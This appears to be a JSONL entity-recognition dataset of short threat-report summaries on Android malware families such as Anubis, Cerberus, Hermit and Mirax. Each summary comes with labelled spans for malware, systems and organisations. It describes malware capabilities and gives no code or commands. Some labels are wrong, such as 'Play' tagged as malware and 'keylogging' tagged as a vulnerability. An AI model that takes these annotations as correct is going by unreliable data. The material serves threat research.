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+{"text": "According to ESET, this is a commercial, multiplatform RAT, originally developed for Windows and extended to Android. In short, it can steal and delete files from a device, take screenshots, get device location, phish Facebook credentials, get a list of installed apps, steal user photos, take photos, record surrounding audio and phone calls, make calls, steal SMS messages, steal the device’s contact list, send text messages, etc.", "spans": {"SYSTEM: Android": [[109, 116]], "SYSTEM: Windows": [[85, 92]], "SYSTEM: ESET": [[13, 17]], "ORGANIZATION: Facebook": [[218, 226]]}, "info": {"source": "apt_reports", "name": "888 RAT"}}
+{"text": "According to PCrisk, AbstractEmu is the name of rooting malware that can gain privileged access to the Android operating system. Threat actors behind AbstractEmu are using legitimate-looking apps (like password managers, app launchers, data savers) to trick users into downloading and opening/executing this malware.", "spans": {"MALWARE: AbstractEmu": [[21, 32], [150, 161]], "SYSTEM: Android": [[103, 110]], "SYSTEM: Android operating system": [[103, 127]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "AbstractEmu"}}
+{"text": "According to PCrisk, Ahmyth is a Remote Access Trojan (RAT) targeting Android users. It is distributed via trojanized (fake) applications. Ahmyth RAT steals cryptocurrency and banking credentials, 2FA codes, lock screen passcodes, and captures screenshots.", "spans": {"MALWARE: Ahmyth": [[21, 27], [139, 145]], "SYSTEM: Android": [[70, 77]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "AhMyth"}}
+{"text": "According to ThreatFabric, this is a fork of Cerberus v1 (active January 2020+). Alien is a rented banking trojan that can remotely control a phone and achieves RAT functionality by abusing TeamViewer.", "spans": {"MALWARE: Alien": [[81, 86]], "TOOL: TeamViewer": [[190, 200]], "ORGANIZATION: ThreatFabric": [[13, 25]], "MALWARE: Cerberus": [[45, 53]]}, "info": {"source": "apt_reports", "name": "Alien"}}
+{"text": "This malware was initially named BlackRock and later renamed to AmpleBot.", "spans": {"MALWARE: AmpleBot": [[64, 72]], "MALWARE: BlackRock": [[33, 42]]}, "info": {"source": "apt_reports", "name": "AmpleBot"}}
+{"text": "Androrat is a remote administration tool developed in Java Android for the client side and in Java/Swing for the Server. The name Androrat is a mix of Android and RAT (Remote Access Tool). It has been developed in a team of 4 for a university project. The goal of the application is to give the control of the android system remotely and retrieve informations from it.", "spans": {"MALWARE: Androrat": [[0, 8], [130, 138]], "SYSTEM: Java": [[54, 58], [94, 98]], "SYSTEM: Android": [[59, 66], [151, 158]]}, "info": {"source": "apt_reports", "name": "AndroRAT"}}
+{"text": "According to Google, a Chrome cookie stealer.", "spans": {"SYSTEM: Chrome": [[23, 29]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "ANDROSNATCH"}}
+{"text": "The malware displays fake Google Play update pages in multiple languages, including German, French, Spanish, Russian, Portuguese, Romanian, and English, indicating potential targets in these regions.\r\n\r\nAntidot uses overlay attacks and keylogging techniques to efficiently collect sensitive information such as login credentials.", "spans": {"MALWARE: Antidot": [[203, 210]], "SYSTEM: Google Play": [[26, 37]], "ORGANIZATION: Google": [[26, 32]], "VULNERABILITY: keylogging": [[236, 246]], "MALWARE: Play": [[33, 37]]}, "info": {"source": "apt_reports", "name": "Antidot"}}
+{"text": "BleepingComputer found that Anubis will display fake phishing login forms when users open up apps for targeted platforms to steal credentials. This overlay screen will be shown over the real app's login screen to make victims think it's a legitimate login form when in reality, inputted credentials are sent to the attackers.\r\n\r\nIn the new version spotted by Lookout, Anubis now targets 394 apps and has the following capabilities:\r\n\r\nRecording screen activity and sound from the microphone\r\nImplementing a SOCKS5 proxy for covert communication and package delivery\r\nCapturing screenshots\r\nSending mass SMS messages from the device to specified recipients\r\nRetrieving contacts stored on the device\r\nSending, reading, deleting, and blocking notifications for SMS messages received by the device\r\nScanning the device for files of interest to exfiltrate\r\nLocking the device screen and displaying a persistent ransom note\r\nSubmitting USSD code requests to query bank balances\r\nCapturing GPS data and pedometer statistics\r\nImplementing a keylogger to steal credentials\r\nMonitoring active apps to mimic and perform overlay attacks\r\nStopping malicious functionality and removing the malware from the device", "spans": {"MALWARE: Anubis": [[28, 34], [368, 374]], "ORGANIZATION: Lookout": [[359, 366]], "VULNERABILITY: keylogger": [[1033, 1042]], "VULNERABILITY: phishing": [[53, 61]]}, "info": {"source": "apt_reports", "name": "Anubis"}}
+{"text": "According to Lukas Stefanko, this is an open-source crypto-ransomware found on Github in 2018.\r\nIT can en/decrypt files (AES, key: 32 random chars, sent to C&C), uses email as contact point but will remove all files after 24 hours or after a reboot.", "spans": {}, "info": {"source": "apt_reports", "name": "ATANK"}}
+{"text": "According to EnigmaSoft, AxBanker is a banking Trojan targeting Android devices specifically. The threatening tool has been deployed as part of large attack campaigns against users in India. The threat actors use smishing (SMS phishing) techniques to smuggle the malware threat onto the victims' devices. The fake applications carrying AxBanker are designed to visually impersonate the official applications of popular Indian banking organizations. The weaponized applications use fake promises or rewards and discounts as additional lures.", "spans": {"MALWARE: AxBanker": [[25, 33], [336, 344]], "SYSTEM: Android": [[64, 71]], "VULNERABILITY: phishing": [[227, 235]]}, "info": {"source": "apt_reports", "name": "AxBanker"}}
+{"text": "BadBazaar is a type of malware primarily functioning as a spyware. Designed to compromise Android and iOS devices, it is often distributed through malicious apps downloaded from unofficial app stores, third-party websites, Telegram channels, and social engineering. Once installed, BadBazaar seeks to surveil the victim by intercepting SMS messages, performing screen recordings, and logging keystrokes on the device. Additionally, it can execute remote commands and download and install other malicious applications, further compromising the security of the affected device.", "spans": {"MALWARE: BadBazaar": [[0, 9], [282, 291]], "SYSTEM: Android": [[90, 97]], "SYSTEM: iOS": [[102, 105]], "SYSTEM: Telegram": [[223, 231]]}, "info": {"source": "apt_reports", "name": "badbazaar"}}
+{"text": "According to BitSight, BADBOX is a large-scale cybercriminal operation selling off-brand Android TV boxes, smartphones, and other Android electronics with preinstalled malware.", "spans": {"MALWARE: BADBOX": [[23, 29]], "SYSTEM: Android": [[89, 96], [130, 137]]}, "info": {"source": "apt_reports", "name": "BADBOX"}}
+{"text": "remote access tool (RAT) payload on Android devices", "spans": {"SYSTEM: Android": [[36, 43]]}, "info": {"source": "apt_reports", "name": "BADCALL"}}
+{"text": "According to PCrisk, Bahamut is the name of Android malware with spyware functionality. Threat actors use Bahamut to steal sensitive information. The newest malware version targets various messaging apps and personally identifiable information.", "spans": {"THREAT_ACTOR: Bahamut": [[21, 28], [106, 113]], "SYSTEM: Android": [[44, 51]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Bahamut"}}
+{"text": "According to Lookout, BoneSpy is based on the Russian-developed, open-source DroidWatcher surveillanceware, featuring nearly identical code, names, and log messages in multiple classes related to the handling of databases containing collected exfil data such as call logs, location tracking, SMS messages, notifications, and browser bookmarks. Class names for many entry points (receivers, activities, and services) were either the same or very similar to DroidWatcher samples.", "spans": {"MALWARE: BoneSpy": [[22, 29]], "ORGANIZATION: Lookout": [[13, 20]]}, "info": {"source": "apt_reports", "name": "BoneSpy"}}
+{"text": "According to PCrisk, BraDex is a banking malware targeting Android operating systems. This malicious program aims to gain access to victims' bank accounts and make fraudulent transactions.\r\n\r\nAt the time of writing, BrasDex targets Brazilian banking applications exclusively. In previous BrasDex campaigns, it infiltrated devices under the guise of Android system related apps. Lately, this malware has been installed by a fake Brazilian Banco Santander banking application.", "spans": {"MALWARE: BrasDex": [[216, 223], [288, 295]], "SYSTEM: Android": [[59, 66], [349, 356]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "BrasDex"}}
+{"text": "According to Cleafy, the victim's Android device is factory reset after the attackers siphon money from the victim's bank account. This distracts users from the crime, while removing traces or footprints that might be of interest to forensic analysts.", "spans": {"SYSTEM: Android": [[34, 41]]}, "info": {"source": "apt_reports", "name": "BRATA"}}
+{"text": "PRODAFT describes Brunhilda as a \"Dropper as a Service\" for Google Play, delivering e.g. Alien.", "spans": {"MALWARE: Brunhilda": [[18, 27]], "SYSTEM: Google Play": [[60, 71]], "ORGANIZATION: Google": [[60, 66]], "MALWARE: Alien": [[89, 94]], "MALWARE: Play": [[67, 71]]}, "info": {"source": "apt_reports", "name": "Brunhilda"}}
+{"text": "According to Cyble, this is an advanced Android malware evolved from SpySolr that features remote control, credential theft, and data exfiltration. It spreads via phishing sites impersonating streaming services like iNat TV and fake mining platforms. The malware abuses Android’s Accessibility Service to unlock devices, log keystrokes, and automate credential theft through injections. It uses WebSocket-based C&C communication for real-time command execution and data theft. BTMOB RAT supports various malicious actions, including live screen sharing, file management, audio recording, and web injections.", "spans": {"MALWARE: BTMOB RAT": [[477, 486]], "SYSTEM: Android": [[40, 47], [270, 277]], "VULNERABILITY: credential theft": [[107, 123], [350, 366]], "VULNERABILITY: phishing": [[163, 171]]}, "info": {"source": "apt_reports", "name": "BTMOB RAT"}}
+{"text": "According to PCrisk, CapraRAT is the name of an Android remote access trojan (RAT), possibly a modified version of another (open-source) RAT called AndroRAT. It is known that CapraRAT is used by an advanced persistent threat group (ATP) called APT36 (also known as Earth Karkaddan). CapraRAT allows attackers to perform certain actions on the infected Android device.", "spans": {"MALWARE: CapraRAT": [[21, 29], [175, 183], [283, 291]], "SYSTEM: Android": [[48, 55], [352, 359]], "ORGANIZATION: PCrisk": [[13, 19]], "MALWARE: AndroRAT": [[148, 156]]}, "info": {"source": "apt_reports", "name": "CapraRAT"}}
+{"text": "Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim.\r\nThe distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered.\r\nCurrently the malware has overlays for over 2,200 apps of banks and financial institutions.", "spans": {"MALWARE: Catelites": [[0, 9]], "SYSTEM: Google Play": [[330, 341], [429, 440]], "SYSTEM: Chrome": [[445, 451]], "SYSTEM: Gmail": [[422, 427]], "SYSTEM: Android": [[71, 78]], "SYSTEM: Avast": [[29, 34]], "ORGANIZATION: Google": [[330, 336], [429, 435], [576, 582]], "MALWARE: Play": [[337, 341], [436, 440]]}, "info": {"source": "apt_reports", "name": "Catelites"}}
+{"text": "According to PCrisk, Cerberus is an Android banking Trojan which can be rented on hacker forums. It was been created in 2019 and is used to steal sensitive, confidential information. Cerberus can also be used to send commands to users' devices and perform dangerous actions.", "spans": {"MALWARE: Cerberus": [[21, 29], [183, 191]], "SYSTEM: Android": [[36, 43]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Cerberus"}}
+{"text": "The malware chamaleon is an Android trojan that pretends to be legitimate entities to steal data from users in Australia and Poland. It exploits the Accessibility Service to monitor and modify the device screen.", "spans": {"SYSTEM: Android": [[28, 35]]}, "info": {"source": "apt_reports", "name": "Chameleon"}}
+{"text": "Coper is an Android banking trojan and RAT descended from ExobotCompact, itself a rewrite of Exobot. It uses a modular architecture, a multi-stage infection chain and (in some variants) a DGA. First observed in Colombia, it has since spread to Europe.", "spans": {"MALWARE: Coper": [[0, 5]], "MALWARE: ExobotCompact": [[58, 71]], "SYSTEM: Android": [[12, 19]]}, "info": {"source": "apt_reports", "name": "Coper"}}
+{"text": "Poses as an app that can offer a \"corona safety mask\" but phone's address book and sends sms to contacts, spreading its own download link.", "spans": {}, "info": {"source": "apt_reports", "name": "Coronavirus Android Worm"}}
+{"text": "According to ThreatFabric, this malware offers remote control, black screen overlays, and advanced data harvesting via accessibility logging.", "spans": {"ORGANIZATION: ThreatFabric": [[13, 25]]}, "info": {"source": "apt_reports", "name": "Crocodilus"}}
+{"text": "According to NHS Digital, CryCryptor is distributed via websites that spoof health organisations. At the time of publication these websites have affected the Canadian health service. CryCryptor cannot be obtained from the Google Play store, so devices restricted to only running apps from the store are not affected.\r\n\r\nWhen CryCryptor is run it encrypts common file types and saves a ransom note to every directory where files have been encrypted. Encrypted files have the extension '.enc' appended to the filenames. Additional files are saved containing the salt values used in each encryption and an initialisation vector. These files have the extensions '.enc.salt' and '.enc.iv' respectively.\r\n\r\nWhen files have been encrypted, a notification is displayed directing users to open the ransom note.", "spans": {"MALWARE: CryCryptor": [[26, 36], [183, 193], [325, 335]], "SYSTEM: Google Play": [[222, 233]], "ORGANIZATION: Google": [[222, 228]], "MALWARE: Play": [[229, 233]]}, "info": {"source": "apt_reports", "name": "CryCryptor"}}
+{"text": "According to PCrisk, DAAM is an Android malware utilized to gain unauthorized access to targeted devices since 2021. With the DAAM Android botnet, threat actors can bind harmful code with a genuine application using its APK binding service.\r\n\r\nLookout refers to this malware as BouldSpy and assesses with medium confidence that this Android surveillance tool is used by the Law Enforcement Command of the Islamic Republic of Iran (FARAJA).", "spans": {"MALWARE: DAAM": [[21, 25], [126, 130]], "MALWARE: BouldSpy": [[278, 286]], "SYSTEM: Android": [[32, 39], [131, 138], [333, 340]], "ORGANIZATION: Lookout": [[244, 251]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "DAAM"}}
+{"text": "According to Lookout, DCHSpy is an Android surveillanceware tool leveraged by Iranian cyber espionage group MuddyWater. DCHSpy collects WhatsApp data, accounts, contacts, SMS, files, location, and call logs, and can record audio and take photos.", "spans": {"MALWARE: DCHSpy": [[22, 28], [120, 126]], "THREAT_ACTOR: MuddyWater": [[108, 118]], "SYSTEM: WhatsApp": [[136, 144]], "SYSTEM: Android": [[35, 42]], "ORGANIZATION: Lookout": [[13, 20]]}, "info": {"source": "apt_reports", "name": "DCHSpy"}}
+{"text": "Android malware that impersonates genuine applications such as Signal, Telegram, WhatsApp, YouTube, and other chat applications and distributes through phishing sites.", "spans": {"SYSTEM: WhatsApp": [[81, 89]], "SYSTEM: Signal": [[63, 69]], "SYSTEM: Android": [[0, 7]], "SYSTEM: Telegram": [[71, 79]], "VULNERABILITY: phishing": [[152, 160]]}, "info": {"source": "apt_reports", "name": "Dracarys"}}
+{"text": "Android variant of ios.LightSpy.", "spans": {"MALWARE: LightSpy": [[23, 31]], "SYSTEM: Android": [[0, 7]]}, "info": {"source": "apt_reports", "name": "DragonEgg"}}
+{"text": "According to Cleafy, DroidBot is a modern RAT that combines hidden VNC and overlay attack techniques with spyware-like capabilities, such as keylogging and user interface monitoring. Moreover, it leverages dual-channel communication, transmitting outbound data through MQTT and receiving inbound commands via HTTPS, providing enhanced operation flexibility and resilience.", "spans": {"MALWARE: DroidBot": [[21, 29]], "TOOL: VNC": [[67, 70]], "VULNERABILITY: keylogging": [[141, 151]]}, "info": {"source": "apt_reports", "name": "DroidBot"}}
+{"text": "According to Zimperium, DroidLock has the ability to lock device screens with a ransomware-like overlay and illegally acquire app lock credentials, leading to a total takeover of the compromised device.\r\n\r\nIt employs deceptive system update screens to trick victims and can stream and remotely control devices via VNC. The malware also exploits device administrator privileges to lock or erase data, capture the victim's image with the front camera, and silence the device. Overall, it utilizes 15 distinct commands to interact with its C2 panel.", "spans": {"MALWARE: DroidLock": [[24, 33]], "TOOL: VNC": [[314, 317]], "ORGANIZATION: Zimperium": [[13, 22]]}, "info": {"source": "apt_reports", "name": "DroidLock"}}
+{"text": "According to Lookout, EagleMsgSpy is a lawful intercept surveillance tool developed by a Chinese software development company with use by public security bureaus in mainland China. Early samples indicate the surveillance tool has been operational since at least 2017, with development continued into late 2024. EagleMsgSpy collects extensive data from the user: third-party chat messages, screen recording and screenshot capture, audio recordings, call logs, device contacts, SMS messages, location data, network activity. \r\nThrough infrastructure overlap and artifacts from open command and control directories,  Lookout attributes EagleMsgSpy to Wuhan Chinasoft Token Information Technology Co., Ltd. with high confidence.", "spans": {"MALWARE: EagleMsgSpy": [[22, 33], [311, 322], [633, 644]], "ORGANIZATION: Lookout": [[13, 20], [614, 621]]}, "info": {"source": "apt_reports", "name": "EagleMsgSpy"}}
+{"text": "According to Intel471, ERMAC, an Android banking trojan enables bad actors to determine when certain apps are launched and then overwrites the screen display to steal the user's credentials", "spans": {"MALWARE: ERMAC": [[23, 28]], "SYSTEM: Android": [[33, 40]]}, "info": {"source": "apt_reports", "name": "ERMAC"}}
+{"text": "ErrorFather is an Android banking trojan with a multi-stage dropper. The final payload is derived from the Cerberus source code leak.", "spans": {"MALWARE: ErrorFather": [[0, 11]], "SYSTEM: Android": [[18, 25]], "MALWARE: Cerberus": [[107, 115]]}, "info": {"source": "apt_reports", "name": "ErrorFather"}}
+{"text": "According to ThreatFabric, the app overlays 15 financial targets from UK, Italy, and Spain, sniffs 234 apps from banks located in Europe as well as crypto wallets.", "spans": {"ORGANIZATION: ThreatFabric": [[13, 25]]}, "info": {"source": "apt_reports", "name": "Eventbot"}}
+{"text": "Facebook Credential Stealer.", "spans": {"ORGANIZATION: Facebook": [[0, 8]]}, "info": {"source": "apt_reports", "name": "FaceStealer"}}
+{"text": "According to Kaspersky, Fakecalls  is a Trojan that masquerades as a banking app and imitates phone conversations with bank employees.", "spans": {"MALWARE: Fakecalls": [[24, 33]], "SYSTEM: Kaspersky": [[13, 22]]}, "info": {"source": "apt_reports", "name": "Fakecalls"}}
+{"text": "According to heimdal, A new strain of ransomware emerged on Android mobile devices. It targets those who are running the operating system Android 5.1 and higher. This Android ransomware strain has been dubbed by security researchers FileCoder (Android/Filecoder.c) and it spreads via text messages containing a malicious link.", "spans": {"MALWARE: FileCoder": [[233, 242]], "SYSTEM: Android": [[60, 67], [138, 145], [167, 174], [244, 251]]}, "info": {"source": "apt_reports", "name": "FileCoder"}}
+{"text": "PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it's C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.", "spans": {"MALWARE: FluBot": [[18, 24]]}, "info": {"source": "apt_reports", "name": "FluBot"}}
+{"text": "According to Check Point, this malware features several malicious Android applications that mimic legitimate applications, most of which have more than 1,000,000 installs. These malicious apps steal the victims’ credentials and Two-Factor Authentication (2FA) codes. FluHorse targets different sectors of Eastern Asian markets and is distributed via emails. In some cases, the emails used in the first stage of the attacks belong to high-profile entities. The malware can remain undetected for months making it a persistent, dangerous, and hard-to-spot threat.", "spans": {"MALWARE: FluHorse": [[267, 275]], "SYSTEM: Android": [[66, 73]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "FluHorse"}}
+{"text": "Zimperium notes that this malware has hit more than 10,000 victims in 140+ countries using social media hijacking, 3rd party app stores and sideloading.", "spans": {"ORGANIZATION: Zimperium": [[0, 9]]}, "info": {"source": "apt_reports", "name": "FlyTrap"}}
+{"text": "According to Check Point, they uncovered an operation dubbed \"Domestic Kitten\", which uses malicious Android applications to steal sensitive personal information from its victims: screenshots, messages, call logs, surrounding voice recordings, and more. This operation managed to remain under the radar for a long time, as the associated files were not attributed to a known malware family and were only detected by a handful of security vendors.", "spans": {"THREAT_ACTOR: Domestic Kitten": [[62, 77]], "SYSTEM: Android": [[101, 108]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "FurBall"}}
+{"text": "According to Synthient, Gaganode is a decentralized bandwidth monetization service that enables both users and publishers to earn crypto for their bandwidth or monetize other people's bandwidth. The SDK intentionally implements RCE, thus aligning Gaganode more closely with malware than standard commercial SDKs.", "spans": {"MALWARE: Gaganode": [[24, 32], [247, 255]], "VULNERABILITY: RCE": [[228, 231]]}, "info": {"source": "apt_reports", "name": "Gaganode"}}
+{"text": "According to ESET Research, GhostChat is a malicious Android app (package name com.datingbatch.chatapp) disguised to appear a legitimate chat platform called Dating Apps without payment; this legitimate app is available on Google Play and is unrelated to GhostChat other than through the latter using its icon. Ghostchat’s source and mode of distribution remain unknown.", "spans": {"MALWARE: GhostChat": [[28, 37], [255, 264]], "SYSTEM: Google Play": [[223, 234]], "SYSTEM: Android": [[53, 60]], "SYSTEM: ESET": [[13, 17]], "ORGANIZATION: Google": [[223, 229]], "MALWARE: Play": [[230, 234]]}, "info": {"source": "apt_reports", "name": "GhostChat"}}
+{"text": "Gigabud is the name of an Android Remote Access Trojan (RAT) Android that can record the victim's screen and steal banking credentials by abusing the Accessibility Service. Gigabud masquerades as banking, shopping, and other applications. Threat actors have been observed using deceptive websites to distribute Gigabud RAT.", "spans": {"MALWARE: Gigabud": [[0, 7], [173, 180], [311, 318]], "SYSTEM: Android": [[26, 33], [61, 68]]}, "info": {"source": "apt_reports", "name": "Gigabud"}}
+{"text": "Ginp is a mobile banking software targeting Android devices that was discovered by Kaspersky. The malware is able to steal both user credentials and credit cards numbers by implementing overlay attacks. For this, overlay targets are for example the default SMS application. What makes Ginp a remarkable family is how its operators managed to have it remain undetected over time even and it receiving version upgrades over many years. According to ThreatFabric, Ginp has the following features:\r\n\r\nOverlaying: Dynamic (local overlays obtained from the C2)\r\nSMS harvesting: SMS listing\r\nSMS harvesting: SMS forwarding\r\nContact list collection\r\nApplication listing\r\nOverlaying: Targets list update\r\nSMS: Sending\r\nCalls: Call forwarding\r\nC2 Resilience: Auxiliary C2 list\r\nSelf-protection: Hiding the App icon\r\nSelf-protection: Preventing removal\r\nSelf-protection: Emulation-detection.", "spans": {"MALWARE: Ginp": [[0, 4], [285, 289], [461, 465]], "SYSTEM: Kaspersky": [[83, 92]], "SYSTEM: Android": [[44, 51]], "ORGANIZATION: ThreatFabric": [[447, 459]]}, "info": {"source": "apt_reports", "name": "Ginp"}}
+{"text": "According to PCrisk, Godfather is the name of an Android malware targeting online banking pages and cryptocurrency exchanges in 16 countries. It opens fake login windows over legitimate applications. Threat actors use Godfather to steal account credentials. Additionally, Godfather can steal SMSs, device information, and other data.", "spans": {"MALWARE: Godfather": [[21, 30], [218, 227], [272, 281]], "SYSTEM: Android": [[49, 56]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Godfather"}}
+{"text": "Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.", "spans": {"MALWARE: GPlayed": [[23, 30]], "SYSTEM: Cisco": [[0, 5]], "SYSTEM: .NET": [[55, 59], [331, 335]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "GPlayed"}}
+{"text": "Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities.\r\nThe analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.", "spans": {"MALWARE: Gustuff": [[19, 26], [212, 219], [256, 263], [516, 523], [879, 886]], "SYSTEM: Android": [[39, 46], [623, 630]], "ORGANIZATION: Group-IB": [[0, 8], [842, 850]], "MALWARE: Fargo": [[726, 731]]}, "info": {"source": "apt_reports", "name": "Gustuff"}}
+{"text": "Lookout states that Hermit is an advanced spyware designed to target iOS and Android mobile devices. It is designed to collect extensive amounts of sensitive data on its victims such as their location, contacts, private messages, photos, call logs, phone conversations, ambient audio recordings, and more.", "spans": {"MALWARE: Hermit": [[20, 26]], "SYSTEM: Android": [[77, 84]], "SYSTEM: iOS": [[69, 72]], "ORGANIZATION: Lookout": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Hermit"}}
+{"text": "HiddenAd is a malware that shows ads as overlays on the phone.", "spans": {"MALWARE: HiddenAd": [[0, 8]]}, "info": {"source": "apt_reports", "name": "HiddenAd"}}
+{"text": "RAT, which can be used to extract sensitive information, e.g. contact lists, txt messages, location information.", "spans": {}, "info": {"source": "apt_reports", "name": "HilalRAT"}}
+{"text": "According to ThreatFabric, this is a malware family based on apk.ermac. The name hook is the self-advertised named by its vendor DukeEugene. It provides WebSocket communication and has RAT capabilities.", "spans": {"MALWARE: hook": [[81, 85]], "ORGANIZATION: ThreatFabric": [[13, 25]]}, "info": {"source": "apt_reports", "name": "Hook"}}
+{"text": "Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.", "spans": {"TOOL: Hydra": [[18, 23]], "SYSTEM: Android": [[30, 37]], "MALWARE: BankBot": [[38, 45]]}, "info": {"source": "apt_reports", "name": "Hydra"}}
+{"text": "Android variant of IPStorm (InterPlanetary Storm).", "spans": {"MALWARE: IPStorm": [[19, 26]], "MALWARE: InterPlanetary Storm": [[28, 48]], "SYSTEM: Android": [[0, 7]]}, "info": {"source": "apt_reports", "name": "IPStorm"}}
+{"text": "According to redpiranha, IRATA (Iranian Remote Access Trojan) Android Malware is a new malware detected in the wild. It originates from a phishing attack through SMS. The theme of the message resembles information coming from the government that will ask you to download this malicious application. IRATA can collect sensitive information from your mobile phone including bank details. Since it infects your mobile, it can also gather your SMS messages which then can be used to obtain 2FA tokens.", "spans": {"MALWARE: IRATA": [[25, 30], [299, 304]], "SYSTEM: Android": [[62, 69]], "VULNERABILITY: phishing": [[138, 146]]}, "info": {"source": "apt_reports", "name": "IRATA"}}
+{"text": "Joker is one of the most well-known malware families on Android devices. It manages to take advantage of Google’s official app store with the help of its trail signatures which includes updating the virus’s code, execution process, and payload-retrieval techniques. This malware is capable of stealing users’ personal information including contact details, device data, WAP services, and SMS messages.", "spans": {"MALWARE: Joker": [[0, 5]], "SYSTEM: Android": [[56, 63]], "ORGANIZATION: Google": [[105, 111]]}, "info": {"source": "apt_reports", "name": "Joker"}}
+{"text": "KIMWOLF is an android based malware which uses compromised systems to relay malicious and abusive Internet traffic, as well as participating in distributed denial-of-service (DDoS). KIMWOLF primarily infects unofficial Android-TV set-top boxes and digital photo frames. The malware has frequently been noted to achieve infection spread via abusing Android Debug Bridge (ADB) and residential proxies. There are multiple reports suggesting a connection to the Aisuru botnet, with Kimwolf acting as the Android variant.", "spans": {"MALWARE: Kimwolf": [[478, 485]], "SYSTEM: Android": [[219, 226], [348, 355], [500, 507]], "VULNERABILITY: DDoS": [[175, 179]], "MALWARE: Aisuru": [[458, 464]]}, "info": {"source": "apt_reports", "name": "Kimwolf"}}
+{"text": "According to Lookout, this spyware was first observed in March 2022 and remains active with new samples still publicly hosted. It uses a two-stage C2 infrastructure that retrieves initial configurations from a Firebase cloud database. KoSpy can collect extensive data, such as SMS messages, call logs, location, files, audio, and screenshots via dynamically loaded plugins. The spyware has Korean language support with samples distributed across Google Play and third-party app stores such as Apkpure.", "spans": {"MALWARE: KoSpy": [[235, 240]], "SYSTEM: Google Play": [[446, 457]], "ORGANIZATION: Lookout": [[13, 20]], "ORGANIZATION: Google": [[446, 452]], "MALWARE: Play": [[453, 457]]}, "info": {"source": "apt_reports", "name": "KoSpy"}}
+{"text": "Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in Android Bankbot.", "spans": {"SYSTEM: Android": [[0, 7], [195, 202]]}, "info": {"source": "apt_reports", "name": "LokiBot"}}
+{"text": "According to heimdal,  MasterFred malware, this is designed as an Android trojan that makes use of false login overlays to target not only Netflix, Instagram, and Twitter users, but also bank customers. The hackers’ goal is to steal credit card information.", "spans": {"MALWARE: MasterFred": [[23, 33]], "SYSTEM: Android": [[66, 73]]}, "info": {"source": "apt_reports", "name": "MasterFred"}}
+{"text": "According to ThreatFabric, this is an Android banking trojan under active development as of July 2020. It is using TCP for C&C communication and targets Turkish banks.", "spans": {"SYSTEM: Android": [[38, 45]], "ORGANIZATION: ThreatFabric": [[13, 25]]}, "info": {"source": "apt_reports", "name": "Medusa"}}
+{"text": "Mirax is an Android RAT / banking trojan sold as a private Malware-as-a-Service since December 2025 by an actor using the moniker \"Mirax Bot\", advertised only to a small pool of predominantly Russian-speaking affiliates. It combines a conventional banking-trojan stack — HTML/JavaScript overlay injection against banking and cryptocurrency apps, Accessibility-Services abuse, HVNC, keylogging, SMS interception, and lock-screen (PIN / pattern / biometric) intelligence harvesting — with an integrated SOCKS5 residential-proxy module multiplexed with Yamux over the WebSocket C2 channel, which turns infected handsets into residential-IP proxy nodes for follow-on fraud. C2 traffic is routed through a C2 Gate server on three concurrent WebSocket channels (control on 8443, data/streaming on 8444, proxy tunnel on 8445). Observed campaigns rely on paid Meta ads impersonating IPTV and illegal sports-streaming apps that redirect to droppers hosted on GitHub Releases with daily-rotating hashes; the analysed campaign targeted Spanish-speaking users (Spain) and reached more than 220,000 accounts, though the platform's overlay inventory includes templates for German, French, Italian, Polish, Portuguese, and other European languages.", "spans": {"MALWARE: Mirax": [[0, 5], [131, 136]], "MALWARE: Mirax Bot": [[131, 140]], "SYSTEM: GitHub": [[950, 956]], "SYSTEM: Android": [[12, 19]], "ORGANIZATION: Meta": [[852, 856]], "VULNERABILITY: keylogging": [[382, 392]]}, "info": {"source": "apt_reports", "name": "Mirax"}}
